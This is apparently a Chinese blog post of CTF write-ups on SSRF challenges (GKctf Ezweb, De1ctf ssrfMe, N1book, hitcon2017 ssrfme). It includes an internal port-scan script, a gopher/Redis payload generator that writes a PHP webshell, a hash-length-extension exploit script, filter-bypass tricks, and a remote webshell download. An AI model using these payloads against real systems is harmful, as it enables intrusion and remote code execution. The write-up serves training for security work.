• ssrf解题记录


    ssrf解题记录

      最近工作需要做一些Web的代码审计,而我Web方面还比较薄弱,决定通过一些ctf的题目打打审计基础,练练思维,在博客上准备开几个专题专门记录刷题的过程。

      pwn题最近做的也很少,也要开始做题了。

    2020 GKctf:Ezweb

      题目打开如下:

       查看前端页面源码发现hint:get方式提交secret参数。传递secret参数之后发现后端执行了ifconfig命令。

       有了内网ip之后,尝试在输入框输入ip地址,然后发现会对服务器的资源进行请求,请求到资源的结果会显示在页面前端。

       php中常见的请求服务器资源的函数有file_get_content(),curl_exec(),fsockopen(),这些函数都是有可能造成ssrf()的危险函数。题目做到这里的时候,我感觉我打黑盒的经验还很欠缺。

      在url中我们尝试ifconfig中输出的三个ip,发现设置了黑名单过滤了localhost的ip。

      我首先尝试了使用php://filter来读取index.php的源码:

    php://filter/read=convert.base64-encode/resource=index.php

      但是页面没有回显,然后我又尝试通过file://伪协议来访问本地文件系统获取index.php的源码。

    file://var/www/html/index.php

      发现又是黑名单,但是我第一下没有想到是过滤了"//",我以为是过滤了file伪协议,走了很多弯路,后来看了别人的writeup,又看了php文档,文档中写到了这样的内容:

       "//"被过滤的时候,可以尝试通过"/"和"///"来进行绕过,通过单反斜杠可以绕过黑名单,获取index.php的源码。

      这篇文章中还记录了一些有意思的ssrf的trick:https://www.cnblogs.com/w1hg/p/14363840.html

       审计代码:

    <?php
    function curl($url){  
        $ch = curl_init();
        // 初始化curl会话
        curl_setopt($ch, CURLOPT_URL, $url);
        // curl_setopt设置curl的选项,CURLOPT_URL返回$url的值
        curl_setopt($ch, CURLOPT_HEADER, 0);
        // CURLOPT_HEADER启用时会将头文件的信息作为数据流输出
        echo curl_exec($ch);
        curl_close($ch);
        # 关闭curl链接
    }
    
    if(isset($_GET['submit'])){
            $url = $_GET['url'];
            //echo $url."
    ";
            if(preg_match('/file://|dict|../|127.0.0.1|localhost/is', $url,$match))
            {
                # 过滤"file://"
                //var_dump($match);
                die('别这样');
            }
            curl($url);
    }
    if(isset($_GET['secret'])){
        system('ifconfig');
    }
    ?>

      不能使用php://filter来读取文件的原因也找到了。curl_exec()函数支持http://和file://,但是不支持php://filter,所以这里只能通过file://来访问服务器本地文件。

      ifconfig前面其实是给出了内网的网段。ssrf服务器端伪造请求本身就是对于请求的资源没有做出合理的限制,导致通过Web服务器突破了网络边界,从而对内网进行了入侵,现在Web服务器提供了一个url接口,通过curl_exec()来执行资源请求,我们可以借助http服务来实现一个内网主机存活和端口扫描的脚本。或者通过burpsuite intruder直接扫描也可以。

    import requests
    import time
    
    ports = ['80','6379','3306','8080','8000']
    session = requests.session()
    C_ip = "10.0.27."    #内网ip网段
    for i in range(1,255):
        ip = C_ip + str(i)
        for port in ports:
            url = 'http://4b4cb162-9ccc-447b-9703-8e551f1d89cb.node4.buuoj.cn/index.php?url=%s:%s&submit=1'%(ip,port)
            try:
                res = session.get(url,timeout=3)
                if len(res.text) != 0:
                    print(ip,port,'is open')
            except:
                continue
    
    print('Done.')

      测试之后发现内网10.0.27.6这台主机是目标靶机。

      扫描的过程中发现开放了6379端口,6379端口是redis的默认端口,通过ssrf进而攻击内网redis服务也是常见的套路之一。

      ssrf攻击redis服务实现RCE主要的利用有两种,一种是利用header CRLF注入,一种是利用gopher来进行注入。

      https://joner11234.github.io/article/9d7d2c7d.html

        https://blog.chaitin.cn/gopher-attack-surfaces/

      下面两篇文章都讲到了如何利用gopher协议和CRLF注入来拓展ssrf的攻击面,我这里也做一点自己的总结。

      redis协议报文格式如下:

    *<参数数量> CR LF
    $<参数 1 的字节数量> CR LF
    <参数 1 的数据> CR LF
    ...
    $<参数 N 的字节数量> CR LF
    <参数 N 的数据> CR LF

      redis协议的是语句是依靠换行符来进行截断的,如果在redis协议报文中构造恶意的" ",我们就可以在其中插入shell语句或者php语句,从而写入文件,通过反弹shell或者phpshell来实现RCE。

      gopher协议是internal早期的一种协议,除了可以返送get和post请求之外,还可以访问redis,ftp等其他端口(这些端口一般又只在内网开放,这种情况下,利用gopher协议就可以极大地拓展攻击面)。

      可以利用一个工具来生成gopher协议的payload:Gopherus

      或者利用其他师傅写的一个脚本专门生成phpshell:

    import urllib
    protocol="gopher://"
    ip="10.0.27.6"      
    port="6379"
    #shell="
    
    <?php system("cat /flag");?>
    
    "
    shell="
    
    <?php system($_GET['cmd']);?>"
    filename="shell.php"
    path="/var/www/html"
    passwd=""
    cmd=["flushall",
         "set 1 {}".format(shell.replace(" ","${IFS}")),
         "config set dir {}".format(path),
         "config set dbfilename {}".format(filename),
         "save"
         ]
    if passwd:
        cmd.insert(0,"AUTH {}".format(passwd))
    payload=protocol+ip+":"+port+"/_"
    def redis_format(arr):
        CRLF="
    "
        redis_arr = arr.split(" ")
        cmd=""
        cmd+="*"+str(len(redis_arr))
        for x in redis_arr:
            cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
        cmd+=CRLF
        return cmd
    
    if __name__=="__main__":
        for x in cmd:
            payload += urllib.quote(redis_format(x))
        print(payload)

    De1ctf 2019:ssrfMe

      一道python的ssrf题目,题目给出了源码app.py,审计源码:

    #! /usr/bin/env python
    #encoding=utf-8
    from flask import Flask
    from flask import request
    import socket
    import hashlib
    import urllib
    import sys
    import os
    import json
    reload(sys)
    sys.setdefaultencoding('latin1')
    
    app = Flask(__name__)
    
    secert_key = os.urandom(16)
    # 生成16位随机数secert_key
    
    class Task:
        def __init__(self, action, param, sign, ip):
            self.action = action
            self.param = param
            self.sign = sign
            self.sandbox = md5(ip)
            if(not os.path.exists(self.sandbox)):          #SandBox For Remote_Addr
                os.mkdir(self.sandbox)
            # 每个ip创建一个文件夹
    
        def Exec(self):
            result = {}
            result['code'] = 500
            if (self.checkSign()):
            # 检查sign是否生成
            # geneSign路由生成key,在Task.exec()方法调用前需要先访问geneSign路由
            # 这里利用到哈希拓展攻击
                if "scan" in self.action:
                    tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
                    # action中存在"scan"时,写入临时文件result.txt
                    resp = scan(self.param)
                    # scan函数中存在向url请求读入资源的操作
                    if (resp == "Connection Timeout"):
                        result['data'] = resp
                    else:
                        print(resp)
                        tmpfile.write(resp)
                        tmpfile.close()
                    result['code'] = 200
                    # 网页状态码修改为200
                if "read" in self.action:
                    # 如果action中存在"read"字段时,从临时文件中读取内容写入result
                    f = open("./%s/result.txt" % self.sandbox, 'r')
                    # 闭合格式化字符串读取文件?
                    result['code'] = 200
                    result['data'] = f.read()
                if result['code'] == 500:
                    result['data'] = "Action Error"
            else:
                result['code'] = 500
                result['msg'] = "Sign Error"
            return result
    
        def checkSign(self):
            if (getSign(self.action, self.param) == self.sign):
                return True
            else:
                return False
    
    # generate Sign For Action Scan.
    @app.route("/geneSign", methods=['GET', 'POST'])
    def geneSign():
        param = urllib.unquote(request.args.get("param", ""))
        # param=>get传参进行,unquote进行解码
        action = "scan"
        return getSign(action, param)
    
    @app.route('/De1ta',methods=['GET','POST'])
    def challenge():
        action = urllib.unquote(request.cookies.get("action"))
        param = urllib.unquote(request.args.get("param", ""))
        sign = urllib.unquote(request.cookies.get("sign"))
        ip = request.remote_addr
        # 获取访问ip
        if(waf(param)):
            return "No Hacker!!!!"
        task = Task(action, param, sign, ip)
        # action = scan
        return json.dumps(task.Exec())
    @app.route('/')
    def index():
        return open("code.txt","r").read()
        # 读取code.txt的值并返回
    
    def scan(param):
        socket.setdefaulttimeout(1)
        try:
            return urllib.urlopen(param).read()[:50]
        # scan函数中存在向其他url请求资源的情况
        # urlopen(param),param参数为不可信输入,且未经处理到达污染汇聚点
        # 题目中提示./flag.txt,直接访问本地文件任意文件读
        except:
            return "Connection Timeout"
    
    def getSign(action, param):
        return hashlib.md5(secert_key + param + action).hexdigest()
        # 计算secert_key,param,action的和的md5值
        # secret_key不可控,param是data,action是contral_data,./De1ta路由中param和action都是可控的
        # 哈希拓展攻击的场景:
        # 1.准备了一个密文和一些数据构造成一个字符串里,并且使用了MD5之类的哈希函数生成了一个哈希值(也就是所谓的signature/签名)
        # 2.让攻击者可以提交数据以及哈希值,虽然攻击者不知道密文
        # 3.服务器把提交的数据跟密文构造成字符串,并经过哈希后判断是否等同于提交上来的哈希值
        # {secret,data,control_data}
    
    def md5(content):
        return hashlib.md5(content).hexdigest()
    
    def waf(param):
        check=param.strip().lower()
        # 去除空字符并且全部小写
        if check.startswith("gopher") or check.startswith("file"):
        # startswith:如果字符串以指定的prefix开头,返回true
        # param函数的开头禁用了gopher协议和file协议,实际上是限制对内网资源的访问
            return True
        else:
            return False
    
    if __name__ == '__main__':
        app.debug = False
        app.run(host='0.0.0.0')

      源码中有三个路由,三个路由对应的功能做一个分析:

      1."./":将源代码返回在前端页面上;

      2."./geneSign":首先生成了16位的随机数secret_key,然后与param和action参数的值进行拼接,返回字符串的md5值;

      3."./De1ta":首先赋值变量,然后调用waf函数检查param中是否存在特定的字符串,然后实例化Task类并且调用Exec方法。Exec方法中首先调用checkSign函数检查cookie中的sign与(secret_key+param+action)返回的md5值是否相等,如果相等的话检查action参数中是否存在"scan"字符串,如果存在"scan"字符串的话,调用open函数打开tmpfile,调用scan函数获取url资源并且写入文件。在调用scan函数的过程中,没有对要获取的资源做出限制,造成ssrf漏洞。如果action参数中存在"read"字符串的话,打开tmpfile并且读入tmpfile的值到result['data']中,最后返回result。

      题目给出了提示,flag在“./flag.txt”中。首先访问"./geneSign"路由,param参数的值为"./flag.txt",action变量的值是硬编码的,此时生成一个sign。

      然后需要了解一下哈希拓展攻击:https://www.cnblogs.com/pcat/p/5478509.html

      这个场景就是一个很明显的哈希拓展攻击的场景,由于在Exec方法中,param参数和action参数我们都是可控的,哈希拓展攻击使用到的工具是hashpump,具体使用方法如图所示:

       Input Signature表示的是初始的哈希值,Input Data是最初contral_data的值,Input Key Length是secret_key和data字符串的长度和,Input Data是contral_data中新添加内容的值。

      最终后面生成的是第二次要输入的哈希值和最终的contral_data。写一个简单的requests脚本发送数据包:

    import requests
    import hashlib
    import hashpumpy
    
    url = 'http://f9552bae-8ce4-4ca5-9bc4-e435d7f197dc.node4.buuoj.cn/De1ta'
    param = '?param=flag.txt'
    payload = url + param
    cookies = {"sign":"2cbc83f4b2c2b2f994125f37facbf0b4",
            "action":"scan%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%e0%00%00%00%00%00%00%00read"}
    r = requests.get(payload,cookies=cookies)
    print(r.text)

      

       这道题看别的师傅的writeup还有一种简便的做法,思路比较巧妙:

      既然两次都是字符串拼接,那在geneSign路由中param=flag.txtread,action=scan,拼接的结果是"flag.txtreadscan",在De1ta路由中,param=flag.txt,action=readscan,拼接的结果是"flag.txtreadscan",依然可以绕过校验。

     N1book:ssrf Training

      打开界面如下,challege.php提供了源码:

    <?php 
    highlight_file(__FILE__);
    function check_inner_ip($url) 
    { 
        $match_result=preg_match('/^(http|https)?://.*(/)?.*$/',$url);
        if (!$match_result) 
        { 
            die('url fomat error');
        } 
        # 通过正则表达式限制url访问的协议,url中只允许http协议和https协议
        try 
        {
            $url_parse=parse_url($url);
        }
        catch(Exception $e) 
        { 
            die('url fomat error'); 
            return false; 
        } 
        $hostname=$url_parse['host'];
        $ip=gethostbyname($hostname);
        $int_ip=ip2long($ip); 
        return ip2long('127.0.0.0')>>24 == $int_ip>>24 || ip2long('10.0.0.0')>>24 == $int_ip>>24 || ip2long('172.16.0.0')>>20 == $int_ip>>20 || ip2long('192.168.0.0')>>16 == $int_ip>>16; 
    }
    
    function safe_request_url($url) 
    { 
         
        if (check_inner_ip($url)) 
        # 限制访问内网ip
        { 
            echo $url.' is inner ip';
        } 
        else 
        {
            $ch = curl_init(); 
            curl_setopt($ch, CURLOPT_URL, $url); 
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
            # 将curl_exec获取的信息以字符串返回,而不直接输出
            curl_setopt($ch, CURLOPT_HEADER, 0); 
            $output = curl_exec($ch); 
            $result_info = curl_getinfo($ch); 
            # 获取传输的信息
            if ($result_info['redirect_url']) 
            # 如果存在重定向
            { 
                safe_request_url($result_info['redirect_url']); 
            } 
            curl_close($ch);
            var_dump($output);
        } 
    } 
    
    $url = $_GET['url']; 
    if(!empty($url)){ 
        safe_request_url($url); 
    } 
    
    ?> 

      通过正则限制了url格式,白名单只允许http和https两个协议访问。题目提示了flag.php,输入url直接文件读即可:

    hitcon2017 ssrfme

      题目给出源码,审计一下:

    <?php
        if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
            # HTTP_X_FORWARDED_FOR,返回x_forwarded_for
            $http_x_headers = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
            # 返回以","分割的数组
            $_SERVER['REMOTE_ADDR'] = $http_x_headers[0];
        }
    
        echo $_SERVER["REMOTE_ADDR"];
    
        $sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);
        # $_SERVER["REMOTE_ADDR"]可控
        @mkdir($sandbox);
        @chdir($sandbox);
    
        $data = shell_exec("GET " . escapeshellarg($_GET["url"]));
        # escapeshellarg把字符转码为可以在shell中使用的参数
        # 请求url资源
        # vps上保存hack.php
        $info = pathinfo($_GET["filename"]);
        # pathinfo以数组的形式返回文件路径
        # dirname,basename(文件名全名),extension(拓展名),filename(文件名)
        # 控制filename 要实现任意文件写需要突破目录限制
        $dir  = str_replace(".", "", basename($info["dirname"]));
        # 输出当前目录
        @mkdir($dir);
        @chdir($dir);
        # 进入目录: ./sandbox/md5_hash/dir
        @file_put_contents(basename($info["basename"]), $data);
        # 文件中写入从url中获取的资源
        highlight_file(__FILE__);
        # phpshell需要绕过目录限制
    ?>

       可以看到,源码中实现了通过shell_exec调用GET命令来请求url资源,并且将请求到的内容写入本地文件的操作,如果我们把webshell放在vps上,然后GET发起请求并且写入文件的话,就可以把webshell写入到本地文件中去。但是写入的文件目录是有限制的,以我开始的想法,这道题目的意思就是想办法绕过目录限制写入webshell来rce。

      感觉比较难办的是basename,查阅文档有如下注释。

       这样一来,似乎只能在sanbox目录下写入文件了,如果是在根目录下,好像没办法传Webshell。

      开始我以为sanbox是根目录下的目录,后来仔细一看是相对路径,是在/var/www/html目录下的,那这个好办了,我在我的vps上先写好马,然后直接写入到相应目录下用蚁剑直接连接即可。

     

       蚁剑连接后,根目录下可以看到flag和readflag,执行readflag就可以读出文件。

     

    预期解

      题解中解法主要是考察GET命令执行。

      GET是linux一个内置的命令,用来发送get请求,GET命令支持file协议,也就是说可以读取文件和目录结构。同时,只要构造文件名(使文件名为命令加管道符的结构),在文件存在的情况下,GET也可以通过调用perl中open函数实现命令执行的目的。

       然后访问111这个文件就可以看到根目录结构。

       然后创建命令执行的文件

     

       将file协议访问文件的内容保存到flag文件中去。

       访问文件,获取flag。

     

     

      

      

      

       

     

      

      

     

  • 相关阅读:
    C#验证码识别类网上摘抄的
    C#如何用WebClient动态提交文件至Web服务器和设定Http响应超时时间
    C#制作曲线图源码
    在PHP中怎样实现文件下载?
    ASP.NET如何调用Web Service
    MSDN中关于读取web.config的那块,System.Configuration.ConfigurationManager.ConnectionStrings["NorthwindConnectionString"].ConnectionString
    饿也要做一个和这个差不多的blog,但功能上有要增强的
    理解能力的高低决定人们的学习能力的高低
    有点困惑了,不知道是从smartClient入手还是从做网站web入手学习.net技术
    什么工厂模式?反射, 晕了,有书吗,推荐推荐.....5555555555555
  • 原文地址:https://www.cnblogs.com/L0g4n-blog/p/15031080.html
Copyright © 2020-2023  润新知